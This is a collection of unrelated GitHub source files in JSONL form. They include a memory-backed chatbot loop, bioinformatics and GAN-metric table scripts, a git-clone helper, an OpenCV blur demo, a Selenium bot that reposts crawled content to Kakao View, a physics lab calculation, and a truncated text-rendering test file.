+{"seq_id":"14971881441","text":"import time\n\nfrom respondent import Respondent\nfrom database import Database\nfrom generator import System_Prompt_Generator, Temperature_Generator\n\nclass Model:\n    def __init__(self, respondent: Respondent, database: Database,\n                 system_prompt_generator: System_Prompt_Generator, temperature_generator: Temperature_Generator, ):\n        # Initialize modules\n        self.respondent = respondent\n        self.database = database\n        self.system_prompt_generator = system_prompt_generator\n        self.temperature_generator = temperature_generator\n\n        self.data_list = []\n        self.record_list = []\n        self.system_prompt = ''\n        self.temperature = -1\n\n    def load_data(self):\n        with open('memory/memory.txt', 'r', encoding='utf-8') as file:\n            lines = file.readlines()\n            records = []\n            for i in range(0, len(lines), 2):\n                inp, out = lines[i], lines[i + 1]\n                record = (inp, out)\n                records.append(record)\n            self.database.insert_entities(records)\n\n    def get_response(self, user_input: str, view_status=False):\n        start = time.time()\n\n        # Get data_list\n        results = self.database.search(user_input)\n        uid_list = []\n        for result in results:\n            uid, user, assistant, _ = result\n            self.data_list.append((user, assistant))\n            uid_list.append(uid)\n        self.database.review(uid_list)\n        self.database.update_memory_retention(uid_list)\n        self.database.forget()\n\n        # Get system prompt based on record_list, user_input\n        self.system_prompt = self.system_prompt_generator.get_system_prompt(self.record_list, user_input)\n        self.respondent.set_system_prompt(self.system_prompt)\n\n        # Get temperature based on system_prompt, user_input\n        self.temperature = self.temperature_generator.get_temperature(self.system_prompt, user_input)\n        self.respondent.set_temperature(self.temperature)\n\n        # Get response\n        assistant_output = self.respondent.get_final_response(self.data_list, self.record_list, user_input)\n\n        end = time.time()\n\n        # View status\n        if view_status:\n            print(f\"\\t-System Prompt: {self.system_prompt.strip()}\")\n            print(f\"\\t-Temperature: {self.temperature}\")\n            print(f\"\\t-Time: {end - start:.2f}s\")\n\n        return assistant_output\n\n    def update_record_list(self, user_input, assistant_output):\n        record = (user_input, assistant_output)\n        self.record_list.append(record)\n        if len(self.record_list) > 5:\n            self.database.insert_entity(self.record_list.pop(0))\n\n    def clear_data_list(self):\n        self.data_list = []\n\n    def initialize_system_prompt_and_temperature(self):\n        self.system_prompt = ''\n        self.temperature = -1\n\n\nif __name__ == \"__main__\":\n    fmt = \"\\n-----{:^20}-----\"\n\n    print(fmt.format(\"Initializing\"))\n    model = Model(Respondent(), Database(), System_Prompt_Generator(), Temperature_Generator())\n    model.load_data()\n\n    print(fmt.format(\"Dialogue beginning\"))\n    while True:\n        prompt = input(\"U: \")\n        if prompt == 'q':\n            print(fmt.format(\"Dialogue ending\"))\n            model.database.drop_collection()\n            break\n        prompt += '\\n'\n\n        response = model.get_response(prompt, view_status=True)\n        print(\"A: \" + response.strip())\n\n        model.update_record_list(prompt, response)\n        model.clear_data_list()\n        model.initialize_system_prompt_and_temperature()\n        print()\n    print(fmt.format(\"Process finished\"))\n","repo_name":"Penrose0v0/ARE","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23326830276","text":"import pandas as pd\n\ndata=pd.read_csv(\"/home/smiyake/shares/Sho/Results/SQuIRE/include_unknown/analysis/DESeq2_TE_separated.txt\",sep='\\t')\n\nTE_list=[]\n\nfor i in data.Family:\n if i not in TE_list:\n  TE_list.append(i)\n\nwant_data=[]\nfor i in TE_list:\n TE_data=data[data.Family==i]\n male=float(len(TE_data[TE_data.Log2FoldChange>1]))\n female=float(len(TE_data[TE_data.Log2FoldChange<-1]))\n want_data.append([i,TE_data.iloc[0].Superfamily,TE_data.iloc[0].Class,len(TE_data),male,female,len(TE_data)-(male+female)])\n\nwant_data=pd.DataFrame(want_data,columns=[\"Family\",\"Superfamily\",\"Class\",\"Data_count\",\"Male\",\"Female\",\"Neutral\"])\nwant_data.to_csv(\"/home/smiyake/sho/Fullset/SQuIRE/txt/TE_count_family_expressed.txt\",index=False,sep='\\t')\n","repo_name":"HNOthree/my_directory","sub_path":"Study_abroad/SQuIRE/fullset/ourdata/percentage_family.py","file_name":"percentage_family.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73534007735","text":"import pandas as pd\nimport json\n\nfrom collections import defaultdict\npd.options.display.float_format = '{:,.3g}'.format\n\ndef get_rows_from_json(result_dicts, metrics = ['IS', 'IS_std', 'KID', 'KID_std', 'LPIPS', 'LPIPS_std']):\n\trows = []\n\tif isinstance(result_dicts, dict):\n\t\tfor k, v in result_dict.items():\n\t\t\trow = []\n\t\t\tfor m in metrics:\n\t\t\t\trow.append(v['EWC'][m])\n\t\t\t\trow.append(v['No EWC'][m])\n\t\t\trows.append(row)\n\telse:\n\t\tfor k, v in result_dicts[0].items():\n\t\t\trow = []\n\t\t\tfor d in result_dicts:\n\t\t\t\tfor m in metrics:\n\t\t\t\t\trow.append(d[k]['EWC'][m])\n\t\t\trows.append(row)\n\treturn rows\n\ndataset_short = ['Bald', 'Eyeglasses', 'Bangs', 'Obama', 'Cat']\nmetrics = ['IS', 'IS_std', 'KID', 'KID_std', 'LPIPS', 'LPIPS_std']\newc_pair = ['EWC', 'No EWC']\n### dataset experiment\nexperiment_name = 'dataset'\noutpath = f'results/{experiment_name}_experiment_results.json'\nwith open(outpath, 'r') as f:\n\tresult_dict = json.load(f)\nisinstance(result_dict,list)\nrows = get_rows_from_json(result_dict)\nmidx = pd.MultiIndex.from_product([metrics , ewc_pair])\ndf = pd.DataFrame(rows, columns=midx, index = dataset_short)\nprint(df[['KID', 'LPIPS']].to_latex(multirow=True))\n\n### nshot experiment\nexperiment_name = 'n_shot'\noutpath = f'results/{experiment_name}_experiment_results.json'\nwith open(outpath, 'r') as f:\n\tresult_dict = json.load(f)\n\nrows = get_rows_from_json(result_dict)\n\nn_shot_runs = [100, 50, 10, 3]\nmidx = pd.MultiIndex.from_product([metrics , ewc_pair])\ndf = pd.DataFrame(rows, columns=midx, index = n_shot_runs)\nprint(df[['KID', 'LPIPS']].to_latex(multirow=True))\n\n### method experiment\n## for poster (bald only, w no EWC)\nexperiment_name = 'method_compare'\noutpath = f'results/{experiment_name}_Bald_experiment_results.json'\nwith open(outpath, 'r') as f:\n\tresult_dict = json.load(f)\n\nrows = get_rows_from_json(result_dict)\n\nmethod_runs = ['LS', 'IN', 'LS+IN', 'D_EWC']\nmidx = pd.MultiIndex.from_product([metrics , ewc_pair])\ndf = pd.DataFrame(rows, columns=midx, index = method_runs)\nprint(df[['KID', 'LPIPS']].to_latex(multirow=True))\n\n## for paper (all 3 subsets with EWC only)\nexperiment_name = 'method_compare'\ndatasets = ['Eyeglasses','Bangs']\n\nresult_dict_list = []\nfor dset in datasets:\n\twith open(f'results/{experiment_name}_{dset}_experiment_results.json', 'r') as f:\n\t\tresult_dict_list.append(json.load(f))\n\nrows = get_rows_from_json(result_dict_list, metrics = ['KID', 'LPIPS'])\nmidx = pd.MultiIndex.from_product([datasets,['KID', 'LPIPS']])\ndf = pd.DataFrame(rows, columns=midx, index = method_runs)\nprint(df.to_latex(multirow=True))\n","repo_name":"ashors1/ewc-gan","sub_path":"make_tables_from_metrics.py","file_name":"make_tables_from_metrics.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"10583939822","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport os\n\nfrom grit import Args\nfrom grit import Call\nfrom grit import File\nfrom grit import Git\nfrom grit import GitRoot\nfrom grit import Project\nfrom grit import Settings\nfrom grit.String import banner\nfrom grit.command import Remote\n\nSAFE = False\n\nHELP = \"\"\"\ngrit start <branch> [<directory>]\n    Starts a fresh branch of the current project.\n\n    Goes to the directory above the git directory containing the current path,\n    clones a copy of the current project under the name directory and checks out\n    the branch name given.\n\n    If the directory name is not given, it adds a numeric suffix to the current\n    directory.\n\"\"\"\n\n_CLONE = ('clone git@github.com:{user}/{project}.git ' +\n          '--branch {branch} {directory}')\n\ndef clone(directory):\n    settings = Project.settings('clone')\n    branch = settings.get('base_branch', 'develop')\n\n    root = GitRoot.root(os.getcwd())\n    if root:\n        directory = directory or os.path.basename(root)\n        root = os.path.dirname(root)\n    else:\n       directory = directory or Settings.PROJECT\n       root = os.getcwd()\n\n    directory = File.next_version(os.path.join(root, directory))\n    settings.update(\n        branch=branch,\n        directory=directory,\n        project=Settings.PROJECT,\n        user=Settings.USER,\n    )\n    # Call git clone.\n    if Git.git(*_CLONE.format(**settings).split(), cwd=root):\n        raise ValueError('Failed to start new directory')\n\n    Remote.remote('all', cwd=directory)\n    Remote.remote('upstream', Settings.PROJECT, directory)\n    Git.git('pull', 'upstream', branch)\n    banner('Created', branch + ', directory', directory)\n    return directory\n\n_ERROR = \"\"\"\nBranch \"%s\" already exists.\nExisting branches are: %s.\"\"\"\n\ndef start(branch, directory=''):\n    branches = Git.branches()\n    if branch in branches:\n        raise ValueError(_ERROR % (branch, ' '.join(branches)))\n\n    directory = clone(directory)\n    Call.call_raw('git checkout -b ' + branch, cwd=directory)\n    banner('Checked out new branch', branch)\n","repo_name":"rec/grit","sub_path":"grit/command/Start.py","file_name":"Start.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"41092771185","text":"import cv2\r\nimport numpy as np\r\n\r\n\r\nsrc = cv2.imread(\"images/3.jpg\")\r\ncv2.namedWindow(\"input\", cv2.WINDOW_AUTOSIZE)\r\ncv2.imshow(\"input\", src)\r\n\r\ndst1 = cv2.blur(src, (5, 5))\r\ndst2 = cv2.GaussianBlur(src, (5, 5), sigmaX=15)\r\ndst3 = cv2.GaussianBlur(src, (0, 0), sigmaX=15)\r\n\r\ncv2.imshow(\"blur ksize=5\", dst1)  # 均值滤波\r\ncv2.imshow(\"gaussian ksize=5\", dst2)\r\ncv2.imshow(\"gaussian sigmax=15\", dst3)\r\n\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"newuserforstudy/python-theory-and-examples","sub_path":"chap10-python图像处理/opencv数字图像处理/15_高斯模糊.py","file_name":"15_高斯模糊.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"34234632498","text":"# 카카오뷰를 위한 자동 크롤링 시스템\n\n# import library\nfrom selenium import webdriver as wd\nimport os\nimport crawling_function\nimport crawling_function_V2\nimport crawling_function_V3\nimport kaview_write\nfrom crawling_function import *\nfrom crawling_function_V2 import *\nfrom crawling_function_V3 import *\nfrom kaview_write import login_count\n\nprint(\"----------library import success\")\n\n\n\nif not os.path.exists('D:/python_venv/kakaoview_autosystem'):\n    print('경로없음_새 경로 생성')\n    os.mkdir('D:/python_venv/kakaoview_autosystem')\n\n# 시간별, 날짜별 컨트롤\nnow = time\n\n# 유튜브 크롤링 관련\nyoutube_url_list = [\"https://vling.net/ko/channel/UC2xkO7XCiStWfR3fKbzkbqw\", \"https://www.youtube.com/results?search_query=1%EB%B6%84%EB%AF%B8%EB%A7%8C\",\n                    \"https://vling.net/ko/channel/UCbVcA0cFsYE8sTHQdl8b9Ww\", \"https://www.youtube.com/results?search_query=%ED%98%B8%EA%B0%B1%EA%B5%AC%EC%A1%B0%EB%8C%80\",\n                    \"https://vling.net/ko/channel/UCuyN3WjEZW41qVji8TWUPeQ\", \"https://www.youtube.com/results?search_query=%EC%82%AC%EB%A7%9D%EC%97%AC%EC%9A%B0\",\n                    \"https://vling.net/ko/channel/UC7F6UDq3gykPZHWRhrj_BDw\", \"https://www.youtube.com/results?search_query=%EC%82%AC%EB%AC%BC%EA%B6%81%EC%9D%B4\",\n                    \"https://vling.net/ko/channel/UC0htUSwcxfSGNfK_5Q28JkA\", \"https://www.youtube.com/results?search_query=1%EB%B6%84%EC%9A%94%EB%A6%AC%EB%9A%9D%EB%94%B1%EC%9D%B4%ED%98%95\",\n                    \"https://vling.net/ko/channel/UC5T4b53jVkm07JbYoyYiu7A\", \"https://www.youtube.com/results?search_query=%EB%A8%B9%EC%96%B4%EC%9C%A0+%EB%B0%B0%EC%9A%B4%EB%8F%BC%EC%A7%80\",\n                    \"https://vling.net/ko/channel/UCfpaSruWW3S4dibonKXENjA\", \"https://www.youtube.com/results?search_query=%EC%AF%94%EC%96%91\",\n                    \"https://vling.net/ko/channel/UCA6KBBX8cLwYZNepxlE_7SA\", \"https://www.youtube.com/results?search_query=%ED%9E%88%EB%B0%A5\",\n                    \"https://vling.net/ko/channel/UCoLQZ4ZClFqVPCvvjuiUSRA\", \"https://www.youtube.com/results?search_query=%EB%AC%B8%EB%B3%B5%ED%9D%AC\",\n                    \"https://vling.net/ko/channel/UCPKNKldggioffXPkSmjs5lQ\", \"https://www.youtube.com/results?search_query=%ED%96%84%EC%A7%80\"\n                    ]\n\nheader = ['1분미만', '호갱구조대', '사망여우', '사물궁이', '뚝딱이형', '배운돼지', 'tzuyang쯔양', '히밥heebab', '문복희', '햄지Hamzy']\n# df1 = pd.read_csv('D:/python_venv/kakaoview_autosystem/youtube_contents_count.csv', sep=',', names=header)\n# youtube_counts = list(df1.loc[0])\n# print('유튜브 기존 글 수', youtube_counts)\n\n\nprint(\"----------load chrome web driver \")\noptions = wd.ChromeOptions()\n# options.add_argument('--headless')        # Head-less 설정\n# options.add_argument('--no-sandbox')\noptions.add_argument('--disable-dev-shm-usage')\noptions.add_experimental_option(\"excludeSwitches\", [\"enable-logging\"])\ndriver = wd.Chrome('./driver/chromedriver.exe', options=options)\ndriver.implicitly_wait(10)    # 명시적 대기\nprint(\"Done\")\n\n\nkaview_write.github_login(driver)\ncrawling_function_V2.github_read(driver, len(header))\nyoutube_counts = github_list\n\n\n### -------------------------------------------------- 블로그 시작 ----------------------------------------------------------------\n# 간단하개 크롤링\ncrawling_function.d_on(driver)\nIComparison_D_on_target = IComparison_D_on_target_list.pop()\n\ncrawling_function.new_writting_detection_check(IComparison_D_on_target, 0)\nInew_d_on_writting_detection = int(I_D_on_update_count.pop())\n\nif Inew_d_on_writting_detection < IComparison_D_on_target:\n    new_writting = IComparison_D_on_target - Inew_d_on_writting_detection\n    print('간단하개 새 글 확인 :', new_writting)\n\n    for i in range(new_writting):\n        kaview_write.kaview_write_cat_on_a_flowerpot(driver, strBlog_title, D_on_url_list, D_on_content_list, login_count, i)\n\nelif Inew_d_on_writting_detection >= IComparison_D_on_target:\n    print('간단하개 새 글 없음')\n\n# 호시탐탐플랜츠 크롤링\ncrawling_function.hosi(driver)\nIComparison_hosi_target = int(IComparison_hosi_target_list.pop())\n\ncrawling_function.new_writting_detection_check(0, IComparison_hosi_target)\nInew_hosi_writting_detection = int(I_hosi_update_count.pop())\n\nif Inew_hosi_writting_detection < IComparison_hosi_target:\n    strBlog_title = strBlog_title[5:]\n    new_writting = IComparison_hosi_target - Inew_hosi_writting_detection\n    print('호시탐탐플랜츠 새 글 확인 :', new_writting)\n    for j in range(new_writting):\n        kaview_write.kaview_write_cat_on_a_flowerpot(driver, strBlog_title, hosi_url_list, hosi_content_list, login_count, j)\n\nelif Inew_hosi_writting_detection >= IComparison_hosi_target:\n    print('호시탐탐플랜츠 새 글 없음')\n\n# new_writting_detection 초기화\ncrawling_function.new_writting_detection_check(IComparison_D_on_target, IComparison_hosi_target)\n### -------------------------------------------------- 블로그 끝 ----------------------------------------------------------------\n\n\n\n### -------------------------------------------------- 크라우드픽 시작 ----------------------------------------------------------------\ncrawling_function.crowd_pic(driver)\nfor i in range(len(crowdpic_url)):\n    kaview_write.kaview_write_cat_on_a_flowerpot1(driver, '오늘의 사진 한장', crowdpic_url[i], '니나노뭉 작가', login_count)\n### -------------------------------------------------- 크라우드픽 끝 ----------------------------------------------------------------\n\n\n### -------------------------------------------------- 한문철 TV 시작 ----------------------------------------------------------------\nmc_han_url = 'https://www.youtube.com/results?search_query=%ED%95%9C%EB%AC%BC%EC%B2%A0+TV'\ncrawling_function_V2.youtube_crawling(driver, 0, '1', mc_han_url)    # 0 -> 어차피 여기서 사용안하는 값\nsub_title_ = '한문철 TV'\nIkaview_account = 2\nfor i in range(5):\n    title = title_list.pop()\n    url = url_list.pop()\n    kaview_write.kaview_write_youtube(driver, title, sub_title_, url, Ikaview_account, login_count)\n### -------------------------------------------------- 한문철 TV 끝 ----------------------------------------------------------------\n\n\n# ----------유튜브 크롤링 시작\nfor i in range(len(header)):\n    sub_title_ = header[i]\n    print(sub_title_,\" 새영상 확인중\")\n    if i <= 3:\n        Ikaview_account = 0\n    elif i > 3:\n        Ikaview_account = 1\n\n\n    # 유튜브 크롤링\n    if (i > 3) & (i < 6) & (now.localtime().tm_hour >= 19) & (now.localtime().tm_hour <=23):\n        print('배운돼지,뚝딱이형 크롤링시작')\n        crawling_function_V2.youtube_crawling(driver, int(youtube_counts[i]), '0', youtube_url_list[2 * i + 1])\n        title = title_list.pop()\n        url = url_list.pop()\n        kaview_write.kaview_write_youtube(driver, title, sub_title_, url, Ikaview_account, login_count)\n        continue\n\n    elif (i > 3) & (i < 6):\n        continue\n\n    elif (i <= 3) | (i >= 6):\n        crawling_function_V2.youtube_crawling(driver, int(youtube_counts[i]), youtube_url_list[2 * i], youtube_url_list[2 * i + 1])\n        Iupdate_counts = int(Iupdate_count_list.pop())\n\n        if int(youtube_counts[i]) < Iupdate_counts:\n            youtube_counts[i] = Iupdate_counts\n            crawling_function_V2.github_write(driver, youtube_counts)\n\n            for j in range(len(title_list)):\n                title = title_list.pop()\n                url = url_list.pop()\n                kaview_write.kaview_write_youtube(driver, title, sub_title_, url, Ikaview_account, login_count)\n            continue\n\n        elif (int(youtube_counts[i]) == Iupdate_counts) & (i>=6):\n            print(\"--새 영상 없음, 기존 영상 추가--\")\n            title = title_list.pop()\n            url = url_list.pop()\n            kaview_write.kaview_write_youtube(driver, title, sub_title_, url, Ikaview_account, login_count)\n            continue\n\n        elif int(youtube_counts[i]) >= Iupdate_counts:\n            youtube_counts[i] = Iupdate_counts\n            for _ in range(len(title_list)):\n                title_list.pop()\n                url_list.pop()\n            print(\"--새 영상 없음--\")\n\n# ----------유튜브 크롤링 끝\n\n\n# ----------블라인드 크롤링 시작\ncrawling_function_V3.blind(driver)\nblind_url_list_456 = blind_url_list[3:6]\nblind_url_list_7890 = blind_url_list[6:10]\n\ntry:\n    for k in range(3):\n        kaview_write.kaview_write_blind1(driver, blind_title, blind_url_list, login_count, k)\n\n    kaview_write.kaview_write_blind2(driver, blind_url_list_456, login_count)\n    kaview_write.kaview_write_blind2(driver, blind_url_list_7890, login_count)\nexcept:\n    pass\n# ----------블라인드 크롤링 끝\n\n\n\n\n### -------------------------------------------------- 사설을 읽다, 실검봇, 날씨의 아이 등록 시작 ----------------------------------------------------------------\ntry:\n    if (now.localtime().tm_hour >= 6) & (now.localtime().tm_hour < 14):    # 조간\n        # 날씨의아이\n\n        kaview_write.kaview_write_weather(driver)\n        kaview_write.kaview_write_microdust(driver)\n        kaview_write.kaview_write_astro(driver)\n        kaview_write.kaview_write_realtime_subway(driver)\n\n        # 집회 및 시위 정보\n        crawling_function_V2.seoulmetro(driver)\n        IComparison_seoulmetro_target = int(IComparison_seoulmetro_target_list.pop())\n        crawling_function_V2.new_writting_chk(IComparison_seoulmetro_target)\n        if int(Iseoulmetro_update_count_list.pop()) == 0:\n            print('지하철 시위 발생')\n            kaview_write.kaview_write_protests_info(driver, Strseoulmetro_title_list, Strseoulmetro_url_list, 0)\n\n        else:\n            print('집회 및 시위 발생')\n            kaview_write.kaview_write_protests_info(driver, Strseoulmetro_title_list, Strseoulmetro_url_list, 1)\n\n\n\n        # ----------오전 실검 시작\n        crawling_function_V2.silgeom(driver)\n        silgeom_url_list_456 = silgeom_url_list[3:6]\n        silgeom_url_list_7890 = silgeom_url_list[6:10]\n\n        try:\n            for k in range(3):\n                kaview_write.kaview_write_silgeom1(driver, silgeom_title, silgeom_url_list, login_count, k)\n\n            kaview_write.kaview_write_silgeom2(driver, silgeom_url_list_456, login_count)\n            kaview_write.kaview_write_silgeom2(driver, silgeom_url_list_7890, login_count)\n        except:\n            pass\n        # ----------오전 실검 끝\n\n        if(now.localtime().tm_wday < 5):  #평일\n\n            crawling_function.seoul(driver)\n            kaview_write.kaview_write(driver, strTitle, seoul_url_list, login_count)\n\n            crawling_function.chosunilbo(driver)\n            kaview_write.kaview_write(driver, strTitle, chosun_url_list, login_count)\n\n            crawling_function.joongangilbo(driver)\n            kaview_write.kaview_write(driver, strTitle, joongang_url_list, login_count)\n    \n            crawling_function.dongailbo(driver)\n            kaview_write.kaview_write(driver, strTitle, donga_url_list, login_count)\n    \n            crawling_function.hankookilbo(driver)\n            kaview_write.kaview_write(driver, strTitle, hankook_url_list, login_count)\n    \n            crawling_function.kmib(driver)\n            kaview_write.kaview_write(driver, strTitle, km_url_list, login_count)\n\n        elif(now.localtime().tm_wday != 6): # 월 - 토\n\n            crawling_function.chosunilbo(driver)\n            kaview_write.kaview_write(driver, strTitle, chosun_url_list, login_count)\n\n            crawling_function.joongangilbo(driver)\n            kaview_write.kaview_write(driver, strTitle, joongang_url_list, login_count)\n    \n            crawling_function.dongailbo(driver)\n            kaview_write.kaview_write(driver, strTitle, donga_url_list, login_count)\n    \n            crawling_function.hankookilbo(driver)\n            kaview_write.kaview_write(driver, strTitle, hankook_url_list, login_count)\n    \n            crawling_function.kmib(driver)\n            kaview_write.kaview_write(driver, strTitle, km_url_list, login_count)\n\n        kaview_write.exit_function()\n    \n    elif (now.localtime().tm_hour >= 19) & (now.localtime().tm_hour <=23):\n        # ----------오후 실검 시작\n        crawling_function_V2.silgeom(driver)\n        silgeom_url_list_456 = silgeom_url_list[3:6]\n        silgeom_url_list_7890 = silgeom_url_list[6:10]\n\n        try:\n            for k in range(3):\n                kaview_write.kaview_write_silgeom1(driver, silgeom_title, silgeom_url_list, login_count, k)\n\n            kaview_write.kaview_write_silgeom2(driver, silgeom_url_list_456, login_count)\n            kaview_write.kaview_write_silgeom2(driver, silgeom_url_list_7890, login_count)\n        except:\n            pass\n        # ----------오후 실검 끝\n\n\n\n\n        if (now.localtime().tm_wday < 5): # 평일\n            crawling_function.hani(driver)\n            kaview_write.kaview_write(driver, strTitle, hani_url_list, login_count)\n    \n            crawling_function.hankyung(driver)\n            kaview_write.kaview_write(driver, strTitle, hankyung_url_list, login_count)\n    \n            crawling_function.mk(driver)\n            kaview_write.kaview_write(driver, strTitle, mk_url_list, login_count)\n    \n    \n        elif (now.localtime().tm_wday == 5): # 토요일\n            crawling_function.hani(driver)\n            kaview_write.kaview_write(driver, strTitle, hani_url_list, login_count)\n    \n           \n        elif (now.localtime().tm_wday == 6): # 일요일\n            crawling_function.hankyung(driver)\n            kaview_write.kaview_write(driver, strTitle, hankyung_url_list, login_count)\n    \n            crawling_function.mk(driver)\n            kaview_write.kaview_write(driver, strTitle, mk_url_list, login_count)\n\n        kaview_write.exit_function()\n    \n    else:\n        print('사설 크롤링 일정 없음 | 요일 및 시간을 확인하세요.')\n        input('종료를 원하면 ENTER를 누르세요')\n\nexcept:\n    print('에러 확인 필요')\n    input('종료를 원하면 ENTER를 누르세요')\n\n\n","repo_name":"JeonJoo/kakaoview_auto_writing","sub_path":"kakaoview_autosystem_V5.py","file_name":"kakaoview_autosystem_V5.py","file_ext":"py","file_size_in_byte":14154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40886967361","text":"# 开发时间：2021/3/29  21:22\r\n#振动50次周期总时间t)(单位：s)：29.308 29.317 29.318 29.333 29.323\r\n#周期T(单位：s):0.58616 0.58634 0.58636 0.58666 0.58646\r\n#小球直径d(单位：mm)：13.955 13.985 13.965 13.995 13.975\r\n#小球的质量(单位：g)：11.1\r\n#储气瓶的体积（单位：ml）：2650\r\n#标准大气压(单位Pa)P=1.013e5\r\n#m=eval(input('请输入小球的质量（单位kg）'))\r\nimport math\r\nm=1.11e-2\r\n#V=eval(input('请输入储气瓶的容积（单位为m³）'))\r\nV=2.65e-3\r\n#P=eval(input('请输入本地大气压（单位为Pa）'))\r\nP=1.013e5\r\nt=input('请输入振动50次周期总时间（多个数据输入请用空格分开）(单位为s)：')\r\n#T=input('请输入周期（多个数据输入请用空格分开）（单位为s）：')\r\nd=input('请输入钢球直径测量数据（多个数据输入请用空格分开）(单位为mm)：')\r\nt_list_str=t.split()\r\n#T_list_str=T.split(' ')\r\nd_list_str=d.split(' ')\r\n\r\n\r\n\r\n#利用振动50次周期总时间来计算周期，用T_list来存储计算的周期\r\nT_list=[]\r\nfor i in t_list_str:\r\n    T_list.append(\"{:<.5f}\".format(float(i)/50))\r\nprint(T_list)\r\n\r\n\r\n\r\n#计算周期的方差\r\nsum_T=0\r\nfor i in T_list:\r\n    sum_T+=float(i)\r\n#average_T为周期的平均值\r\naverage_T=sum_T/len(T_list)\r\nsu=0\r\nfor j in T_list:\r\n    su+=pow((float(j)-average_T),2)\r\n#variance_T为周期标准方差\r\nvariance_T=pow(su/(len(T_list)-1),0.5)\r\n\r\n\r\n\r\n#计算直径的方差\r\nsum_d=0\r\nfor i in d_list_str:\r\n    sum_d+=float(i)\r\n#average_d为直径的平均值\r\naverage_d=sum_d/len(d_list_str)\r\nsum=0    #sum的单位为mm\r\nsum2=0   #sum2的单位为m\r\nfor j in d_list_str:\r\n    sum+=pow((float(j)-average_d),2)\r\n    sum2+=pow((float(j)-average_d)/1000,2)\r\n#variance_d_mm(单位为mm)为直径标准方差\r\n#variance_d_m(单位为m)为直径标准方差\r\nvariance_d_mm=pow(sum/(len(d_list_str)-1),0.5)\r\nvariance_d_m=pow(sum2/(len(d_list_str)-1),0.5)\r\n\r\n\r\n\r\n#计算压强\r\nP_change=m*10/(3.14*((average_d/1000/2)**2))\r\nPl=P+P_change\r\nprint(\"{:<.1f}\".format(P_change))\r\n#Pl_为代码运行后对Pl的有效位进行保留\r\nPl_=102024\r\n\r\n\r\n#计算气体比热容比\r\nbottom=pow(average_T,2)*pow(average_d/1000,4)*Pl_\r\n#其中P为近似值，约等于标准大气压\r\n#r为气体比热容比的值\r\nr=(64*m*V)/bottom\r\n\r\n\r\n\r\n#计算气体比热容比的标准方差\r\n#r_T_weight为气体比热容比中的关于T的分量\r\n#r_d_weight为气体比热容比中的关于d的分量\r\n#r_P_weight为气体比热容比中的关于P的分量\r\nr_T_weight=pow((2*variance_T/average_T),2)\r\nr_d_weight=pow((4*variance_d_m/average_d),4)\r\n#r_P_weight=pow()\r\n#此处r_P_weight取P标准大气压为\r\nvariance_r=pow(r_T_weight+r_d_weight,0.5)\r\n\r\n\r\nprint('瓶内的平均气压为(单位为Pa)：{:<.1f}'.format(Pl))\r\nprint('平均周期为(单位为s)：{:<.5f}'.format(average_T))\r\nprint('平均直径为(单位为mm)：{:<.3f}'.format(average_d))\r\nprint('周期(单位为s)结果表示T={:<.5f}±{:<.5f}'.format(average_T,variance_T))\r\nprint('直径(单位为mm)结果表示d={:<.3f}±{:<.5f}'.format(average_d,variance_d_mm))\r\nprint('比热容比结果表示r={:<.4f}±{:<.3f}'.format(r,variance_r))","repo_name":"brooze-1/Physical-experiment-data-processing","sub_path":"处理第三次大物实验数据（气体比热容比的测定）.py","file_name":"处理第三次大物实验数据（气体比热容比的测定）.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"12099574760","text":"import pytest\nfrom print_ext.text import Text\nfrom print_ext.line import Line, SMark as SM\nfrom .testutil import debug_dump, styled, flat\n\n\n\ndef test_text_nl_style():\n    ''' when adding a blank newline the style should still be applied '''\n    t=Text('\\v\\v\\v', style='x')\n    for row in t.flatten(w=4):\n        assert(row.styled() == ('    ', [SM('x',0,4)]))\n        \n\n\ndef test_text_clone():\n    p = Text()\n    t = Text('a\\vb')\n    y = t.clone(parent=p)\n    assert(y != t)\n    assert(y.parent == p)\n    m = Text(t, t)\n    assert(str(m) == 'a\\\\nba\\\\nb')\n\n\n\n@pytest.mark.skip(reason=\"Disabled auto-unindent\")\ndef test_text_nl():\n    def _f(*args, w=0, h=0, **kwargs): return ','.join(map(str, Text(*args, **kwargs).flatten(w=w,h=h)))\n    assert(_f('''  The\n        quick\n        brown\n          fox\n    ''', justify='>') == '  The,quick,brown,  fox')\n    assert(_f('\\na\\nb\\n') == 'a,b')\n    assert(_f('   a\\nb ') == 'a ,b ')\n\n\n\ndef test_width_height():\n    t = Text('The\\vquick brown\\vfox\\v')\n    assert(t.width == 11)\n    assert(t.height == 4)\n    t = Text()\n    assert(t.width == 0)\n    assert(t.height == 0)\n    t = Text('bob')\n    assert(t.width == 3)\n    assert(t.height == 1)\n    t = Text('\\v\\v')\n    assert(t.width == 0)\n    assert(t.height == 3)\n\n\n\ndef test_text_flatten():\n    t = Text('the', ' quick\\v', 'brown', text_wrap=True, wrap_mark_from=10)\n    assert('--'.join(flat(t, w=5)) == 'the q--uick --brown')\n    assert(flat(Text()) == [])\n    assert(flat(Text('', '', '')) == [])\n\n\n\ndef test_text_styled():\n    t = Text('\\bx$ hi', '\\vbye', '\\v\\by bob', 'coj', style='t', wrap=False, ascii='on')\n    print('\\n'.join(debug_dump(t)))\n    assert(styled(t, w=3, h=4) == [\n        ('hi ', [SM('t',0,3), SM('x',0,3)]),\n        ('bye', [SM('t',0,3), SM('x',0,3)]),\n        ('b~j', [SM('t',0,3), SM('x',0,1), SM('y',0,1), SM('dem',1,2), SM('x',2,3)]),\n        ('   ', [SM('t',0,3)]),\n    ])\n\n\n\ndef test_text_e():\n    p = Text('parent')\n    t= Text('ERROR', parent=p, style='err')\n    